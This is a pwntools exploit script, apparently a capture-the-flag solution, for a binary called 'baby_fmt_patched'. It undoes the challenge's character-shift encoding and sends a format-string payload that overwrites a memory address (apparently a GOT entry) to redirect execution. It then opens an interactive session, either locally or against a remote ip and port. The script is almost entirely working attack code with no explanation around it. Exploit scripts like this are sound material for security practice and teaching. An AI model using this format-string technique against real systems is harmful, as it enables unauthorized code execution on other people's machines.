def generate_input(desired_output):
    input_chars = []
    for idx, c in enumerate(desired_output):
        
        shift = idx % 7
        
        if c.islower():  
            original_ord = ord(c) - shift
            if original_ord < ord('a'):
                original_ord += 26  
            input_chars.append(chr(original_ord))
            
        elif c.isdigit():  
            original_ord = ord(c) - shift
            if original_ord < ord('0'):
                original_ord += 10  
            input_chars.append(chr(original_ord))
            
        else:  
            input_chars.append(c)
            
    return ''.join(input_chars)

#!/usr/bin/env python3

# module from 0xfun-Psjsus4

from pwn import *
import pwn
from sys import argv
from os import getcwd

e = ELF("./baby_fmt_patched")

context.binary = e
context.terminal = ["kitty", "@", "new-window", "--cwd", getcwd()]
context.gdbinit = "/pentest/pwndbg/gdbinit.py"

r: process = None

u64 = lambda d: pwn.u64(d.ljust(8, b"\0")[:8])
u32 = lambda d: pwn.u32(d.ljust(4, b"\0")[:4])
u16 = lambda d: pwn.u16(d.ljust(2, b"\0")[:2])
sla = lambda a, b: r.sendlineafter(a, b)
sa = lambda a, b: r.sendafter(a, b)
sl = lambda a: r.sendline(a)
s = lambda a: r.send(a)
recv = lambda: r.recv()
recvn = lambda a: r.recvn(a)
recvu = lambda a, b=False: r.recvuntil(a, b)

gdbscript = '''
    b main
    continue
'''

def conn():
    global r
    if len(argv) > 1:
        if argv[1] == "gdb":
            r = gdb.debug([e.path], gdbscript=gdbscript)
        else :
            ip, port = argv[1], argv[2]
            r = remote(ip, port)
    else:
        r = e.process()

def generate_input_bytes(desired_output: bytes) -> bytes:
    input_bytes = []
    for idx, c in enumerate(desired_output):
        shift = idx % 7
        
        # Reverse lowercase letters (a-z)
        if ord('a') <= c <= ord('z'):
            original = c - shift
            if original < ord('a'):
                original += 26  # Wrap around alphabet
            input_bytes.append(original)
        
        # Reverse digits (0-9)
        elif ord('0') <= c <= ord('9'):
            original = c - shift
            if original < ord('0'):
                original += 10  # Wrap around digits
            input_bytes.append(original)
        
        # Symbols/others remain unchanged
        else:
            input_bytes.append(c)
    
    return bytes(input_bytes)

def exploit():
    payload = b"funny123"
    payload += fmtstr_payload(7, {0x404028: 0x4015cd}, numbwritten=8)
    print(f"payload: {payload}")
    payload = generate_input_bytes(payload)
    payload = b"funny"+payload[5::]
    payload = payload.ljust(106, b"a")
    sl(payload)
    print("good luck pwning :)")


conn()
exploit()

# good luck pwning :)
r.interactive()